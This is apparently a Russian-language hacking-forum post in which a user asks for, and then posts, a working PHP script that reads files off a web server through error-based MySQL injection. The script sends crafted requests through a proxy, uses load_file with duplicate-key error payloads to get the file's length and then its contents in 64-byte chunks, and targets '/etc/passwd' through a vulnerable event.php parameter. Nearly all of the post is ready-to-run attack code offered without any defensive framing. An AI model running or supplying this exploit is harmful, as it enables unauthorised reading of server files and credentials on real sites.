Добрый! Необходима идея по конкретной реализации дампа файла посредством error-based в реализации на php. Может, кто видел рабочий скрипт под эту задачу. Заранее благодарен!
Поскольку осталось без ответа, выкладываю сам. PHP: function prep_packet( $host, $uri = NULL, $user_agent = NULL, $method='GET'){ $packet = settype( $packet, 'array') && $packet = NULL; $packet = array( "$method /$uri HTTP/1.1\r\n", "Host: $host\r\n", "User-Agent: $user_agent\r\n", "Content-Type: application/x-www-form-urlencoded\r\n", "Connection: close\r\n\r\n" ); return $packet; } function tcp_send( $host, $port, $packet) { $answer = settype( $answer, 'string') && $answer = NULL; $packet_ = settype( $packet_, 'string') && $packet_ = NULL; $fp = @fsockopen( $host, $port, $errnum, $errstr, 2); if ( $fp ){ foreach( $packet as $row ){ $packet_ .= $row; } fputs( $fp, $packet_); while( !feof( $fp) ){ $answer .= fread( $fp, 1024); } fclose($fp); } return $answer; } function transmission_by_proxy( $proxyhost, $proxyport, $packet){ $biteZ_ = settype( $biteZ_, 'string') && $biteZ_ = NULL; $biteZ_ = tcp_send( $proxyhost, $proxyport, $packet); return $biteZ_; } function errbased( $stack){ $packet = prep_packet( $stack['host'], $stack['uri']); if( !is_array( $packet)) die(); $biteX = transmission_by_proxy( $stack['proxyhost'], $stack['proxyport'], $packet); if( !is_string( $biteX)) die(); return $biteX; } function dump( $stack, $stopbite=NULL){ if( !is_string( $stack['filepath'])) die(); $pref = "$stopbite+or+1+group+by+concat((select+"; $dstr = settype( $dstr, 'string') && $dstr = NULL; $stack['sqlInj'] = $pref."CHAR_LENGTH(load_file('".$stack['filepath']."'))),floor(rand(0)*2))+having+min(0)--+"; $stack['uri'] = $stack['path'].$stack['sqlInj']; preg_match_all( "/entry \'(.*)1\' for/Uis", errbased( $stack), $biteS); $fsize = (integer)$biteS[1][0]; unset( $stack['sqlInj']); unset( $stack['uri']); $i=1; while( $i<=$fsize){ $i+=64; $stack['sqlInj'] = $pref."substring(load_file('".$stack['filepath']."'),".($i-64).",64)),floor(rand(0)*2))+having+min(0)--+"; $stack['uri'] = $stack['path'].$stack['sqlInj']; preg_match_all( "/entry \'(.*?)\' for/Uis", errbased( $stack), $biteV); if( !isset( $biteV[1][0])){ return $dstr; } $dstr .= $biteV[1][0]; } return $dstr; } $stack['host'] = 'www.xxx.com'; $stack['path'] = 'event.php?eventid=-123'; $stack['proxyhost'] = 'www.xxx.com'; $stack['proxyport'] = 80; $stack['filepath'] = '/etc/passwd'; $passwd = dump( $stack, "'"); echo $passwd;